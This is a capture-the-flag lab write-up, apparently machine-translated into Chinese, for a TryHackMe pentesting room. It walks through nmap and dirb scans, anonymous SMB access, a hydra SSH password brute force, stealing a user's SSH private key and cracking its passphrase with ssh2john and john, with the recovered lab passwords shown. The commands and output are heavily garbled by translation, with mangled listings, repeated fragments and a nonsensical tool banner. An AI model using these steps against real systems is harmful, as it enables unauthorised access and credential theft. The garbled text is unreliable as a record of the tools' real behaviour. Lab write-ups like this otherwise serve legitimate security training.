[tryhackme]使用hydra中的ssh2john.py进行蛮力攻击和升级特权！基本的五个秘密写作

NMAP -SV -A [目标IP]

NMAP -SV -A 10.10.98.167 130⨯启动NMAP 7.92（https://nmap.org），2023-03-17 23:40 JST NMAP扫描报告10.10.98.167主机的主机已上升（0.25S延迟）。未显示：994封闭的TCP端口（CONN-REFUSE）端口状态服务版本22/TCP OPEN SSH OPENSSH 7.2P2 UBUNTU 4UBUNTU2.4（UBUNTU LINUX; stoloption 2.0）| ssh-hostkey：| 2048 DB：45：CB：BE：4A：8B：71：F8：E9：31：42：AE：FF：F8：45：45：E4（RSA）| 256 09：B9：B9：1C：E0：BF：0E：1C：1C：6F：7F：7F：8E：5F：5F：20：1B：CE（ECDSA）| _ 256 A5：68：2B：2B：2B：2B：2B：5F：98：4A：4A：4A：4A：62：62：62：21：3D：3D：3D：A2：A2：A2：A2：A2：A2：a9：a9：a9：a9：a9：a9：a9：a9：a9：a9：a9：c2（ED） http apache HTTPD 2.4.18（（（ubuntu））| _http-server-header：apache/2.4.18（ubuntu）| _http-title：site没有标题（文本/html）。 139/TCP开放NetBios-SSN Samba SMBD 3.x-4.x（工作组：工作组）445/TCP OPEN NETBIOS-SSN SAMBA SMBD 4.3.11-ubuntu（WorkGroup：WorkGroup：WorkGroup：WorkGroup）8009/TCP打开AJP13 APACHE JSERV（协议V1.3）| AJP方法：| _支持的方法：获取头发布选项8080/tcp Open HTTP Apache Tomcat 9.0.7 | _http-favicon：apache tomcat | _http-title：apache tomcats/apache tomcat/9.0.0.7服务信息： OS：Linux; CPE：cpe：/o：linux：linux_kernel主机脚本结果：| smb-os-discovery：| OS：Windows 6.1（Samba 4.3.11-ubuntu）|计算机名称：基本2 | NetBios计算机名称：基本2 \ x00 |域名：\ x00 | FQDN：BASIC 2 | _系统时间：2023-03-17T10：40：57-04：00 | _Clock-Skew：平均值：1H19M59S，出发：2H18M34S，中位数，中位数：0S | SMB2-Security模式：| 3.1.1：| _启用消息签名但不需要| _nbstat：netbios名称：基本2，NetBios用户：<unknown> ，Netbios Mac：<unknown> （未知）| SMB  - 塞式模式：| counce_used：访客| Authentication_level：用户|挑战_Response：支持| _ message_signing：禁用（危险，但默认）| SMB2时间：|日期：2023-03-17T14：40：57 | _ start_date：N/A执行服务检测。请在https://nmap.org/submit/上报告任何不正确的结果。 NMAP完成：1个IP地址（1个主机）在59.84秒内进行扫描

Dirb http://10.10.98.167 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---- --> Testing: http://10.10.98.167/analytics ==> DIRECTORY: http://10.10.98.167/development/ + http://10.10.98.167/index.html (CODE:200|SIZE:158) (!) FATAL: Too many errors connecting to host (Possible cause: OPERATION TIMEOUT) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

2018-04-23：我一直在弄乱支柱的东西，这很酷！我认为将其托管在该服务器上可能很整洁。尚未制作任何真实的Web应用程序，但是我尝试了您可以展示其工作原理的示例（这是示例的其余版本！）。哦，现在我正在使用2.5.12版，因为其他版本给我带来了麻烦。 -K 2018-04-22：已配置了SMB。 -K 2018-04-21：我设置了Apache。稍后会放入我们的内容。 -J ====== 2018-04-23：我正在与Struts的那一位混乱，看起来还不错！如果更好的话，您也可以托管该服务器。我还没有制作任何真正的Web应用程序，但是我尝试了该示例。您可以展示其工作原理（这是示例的其余版本！）。哦，现在我使用的是2.5.12版，因为我在其他版本上遇到了问题。 -K 2018-04-22：已设定SMB。 -K 2018-04-21：已设置了Apache。稍后我们将包括我们的内容。 -J

对于J：我一直在审核 /etc /shadow的内容，以确保我们没有任何薄弱的凭据，并且我能够很容易地破解您的哈希。您知道我们的密码政策，所以请遵循吗？尽快更改该密码。 -k ===== j：我一直在审核 /etc /shadow的内容，以确保我们没有任何弱凭据，并且我能够非常轻松地破解您的哈希。您可能知道我们的密码政策，因此请点击以下：是吗？请尽快更改该密码。 -k

SMBClient -L 10.10.98.167输入WorkGroup \ HackLab的密码：Sharename类型注释------ -------匿名磁盘IPC $ IPC IPC IPC Service（Samba Server 4.3.11-ubuntu）与SMB1恢复工作组清单。 Server Comment ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

smbclient \\\\\ \ 10.10.98.167 \\ [workgroup \ root]的匿名密码：尝试“帮助”以获取可能的命令列表。 SMB：\> dir。 D 0 THU APR 19 17:31:20 2018 .. D 0 THU APR 19 17:13:06 2018 STECT.TXT N 173 THU APR 19 APR 19 17:29:55 2018 14318640大小的块1024。11094536可用块

SMB：\>更多员工公告向员工公告：请不要将与工作相关的项目上传到此份额。我知道这一切都很有趣，但这就是错误发生的方式。 （这也意味着您，Jan！） -  Kay

hydra -l jan -p/usr/share/wordlists/rockyou.txt ssh：//10.10.98.167 hydra v9.3（c）2022 by Van Hauser/thc＆David Maciejak-请不要在军事或特勤服务组织中使用，或者出于非义务（对于这些违法行为）（这些都是无限制的，这些*** grinding ny *** dype nyder *** nydere and eThore andics and eThore and inty ***。 Hydra（https://github.com/vanhauser-thc/thc-hydra）从2023-03-17开始（L：1/p：14344399），〜896525 〜896525尝试[数据]攻击SSH：//10.10.98.167：22/[状态] 156.00尝试/分钟，156次尝试，00：01H，14344245在1532：31H，1432：31H，14 Active [状态] 366 Tries in 366 tries in 366， 14344035 to do in 1959:35h, 14 active [STATUS] 102.29 tries/min, 716 tries in 00:07h, 14343685 to do in 2337:12h, 14 active [22][ssh] host: 10.10.98.167 login: jan password: armando 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 2 final worker threads直到结束才完成。 [错误] 2个目标无法解决或无法连接[错误] 0目标未完成Hydra（https://github.com/vanhauser-thc/thc-hydra）在2023-03-17完成

ssh jan@10.10.98.167无法建立主机'10 .10.98.167的真实性（10.10.98.167）'无法建立。 ED25519密钥指纹为SHA256：XKJDKLKOCBZJCCH0TPRIW1PELPUZDUFTGZA4XMDA+O4。您确定要继续连接（是/否/[指纹]），该键不知道其他名称吗？是警告：永久添加'10 .10.98.167'（ED25519）中已知主机列表。 jan@10.10.98.167's password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0更新是安全更新。 Ubuntu系统中包含的程序是免费软件；在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内，Ubuntu绝对没有保证。 Ubuntu系统中包含的程序是免费软件；在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内，Ubuntu绝对没有保证。最后登录：4月23日15:55:45 2018年192.168.56.102 Jan@Basic2：〜$ 

cd ../ jan@basic2：/ home $ ls -la总计16 drwxr-xr-x 4 root root 4096 Apr 19 2018。 drwxr-xr-x 24根4096 APR 23 2018 .. drwxr-xr-x 2根4096 APR 23 2018 JAN DRWXR-XR-X 5 KAY KAY KAY 4096 4096 APR 23 2018 KAY KAY KAY

Jan@basic2：/home $ cd kay jan@basic2：/home/kay $ ls -la总计48 drwxr-xr-x 5 kay kay kay 4096 4096 Apr 23 2018 .drwxr-xr-xr-x 4 root 4096 root 4096 apr 19 2018年.. -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 2 kay kay 4096 Apr 17 2018 。缓存 -rw----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 2018 .sudo_as_admin_successful -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

scp -r jan@10.10.98.167：/home/kay/.ssh ./ jan@10.10.98.167's密码：授权_keys 100％771 495.4kb/s 00:00 id_rsa 100％100％3326 2.1MB/s 00:00 id_00 id_rsa.rsa.pub 100：00 id_rsa.pub 100％7771.2.2.2bb bb    

┌isthi） -  [〜]└└└＃ -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1 root root 142 3月17日16:06 nown_hosts.olds.old

┌-（root㉿kali） -  [〜/.ssh]└─＃python3/usr/share/johr/john/ssh2john.py id_rsa> hash.txt┌--（root㉿kali） -  [〜/.ssh]└ -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ root 771 Mar 17 16:15 id_rsa.pub -rw-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

┌──(root㉿kali)-[~/.ssh] └─# /sbin/john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Created directory: /root/.john Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status beeswax (id_rsa) 1g 0:00:00:00 DONE （2023-03-17 16:19）14.28G/S 1181KP/S 1181KC/S 1181KC/s BEHLAT..BBALL40使用“  - 节目”选项可靠地显示所有破裂的密码。 

┌-（root㉿kali） -  [〜/.ssh]└─＃ll总计28 -rw------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -rw-r-r-- r- 1根根142 3月17日16:06 now_hosts.olds.olts.olts.--（root㉿kali） -  [〜/.ssh]└-＃CHMOD 400 ID_RSA┌-（root㉿kali） -  [〜/.ssh]└/.ssh]└- 4762 Mar 17 16:18 hash.txt -r-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- id_rsa -rw-r--r-- 1 root root 771 3月17日16:15 ID_RSA.PUB -rw---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- 4.4.0-119-generic x86_64） *文档：https：//help.ubuntu.com *管理：https：//landscape.caronical.com *支持：https：//ubuntu.com/advantage 0可以更新。 0更新是安全更新。上次登录：4月23日16:04:07 2018年192.168.56.102 kay@basic2：〜$ 

kay@basic2：〜$ ls pass.bak kay@basic2：〜$ cat Pass.bak HereSareallylystrongpasswordthatfollowsthepasswordpolicypolicy $$